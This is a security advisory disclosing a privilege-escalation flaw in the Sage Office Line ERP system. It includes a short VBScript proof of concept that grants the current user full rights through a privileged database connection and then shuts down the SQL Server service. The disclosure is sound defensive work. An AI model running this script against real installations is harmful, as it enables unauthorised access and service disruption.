German ERP Sage Office Line Privilege Escalation

`  
  
Security Vulnerability in German ERP system "Sage office Line"  
  
Recently, I discovered a Securtiy Security Vulnerability in the  
German ERP system "Sage office Line", created by German branch of the  
UK-based Sage Group. The Software is sold in Germany, Austria and  
Switzerland. According to their website, Sage Germany has more than  
250.000 customers.  
-------------------------  
Affected products:  
-------------------------  
  
- Sage Office Line Evolution 2012 (with newest patches installed)  
- Sage Office Line Evolution 2013 (with newest patches installed)  
- most likely previous versions (untested)  
-------------------------  
Effects:  
-------------------------  
  
- Code execution  
- privilege escalation  
- Data loss  
-------------------------  
Details:  
-------------------------  
  
The software is based on a Microsoft Access Frontend Client  
(available as ADE and ADP) and some server-based tools. Microsoft SQL  
Server is used to store all data. A typical client installation on the  
computer of each office worker contains the MS Access frontend and  
also many .Net assemblies called via COM-interop by the Access client.  
  
Main entry point for the Vulnerability is the so-called  
"mandator-object" which is initiated when a user logs in to the  
software. This object holds all information regarding the accessed  
database and also about the priviliges of the user.   
  
If a user has valid credentials to start the software, even if he has  
minimal permissions, he can use local VBScript and COM automation to  
gain full access to the mandator object. This object holds, among  
other interesting things, an ADO.NET connection object, which was  
instantiated with an SQL user with full rights on the affected  
database.Using the ADO.NET connection object, the user can give  
himself full permissions or even delete all data in the database.   
According to Sage Software, there is a feature called "Erweiterte  
Codesicherheit" ("Extended Code Security") which should secure the  
system by blocking non-signed code from accessing the System. The  
Feature has no effect on the vulnerability described in this post.  
-------------------------  
Proof of Concept:  
-------------------------  
  
The following code has to be saved local in a VBS file. Maybe it is  
necessary to adjust the path to the MS Access ADE file. It grants full  
access to the current user and then tries to shutdown the SQL server  
service.  
  
Set objAccess = GetObject("C:Program Files (x86)SageOffice  
Line6.1Abfolabf_001.ade")  
Set goMandant = objAccess.Run("goMandant")  
goMandant.oData.Execute "UPDATE USysSecurityClients SET Rights = 3  
WHERE UserName='" & goMandant.oBenutzer.sName & "'"  
goMandant.oGlobalData.Execute "SHUTDOWN WITH NOWAIT"  
`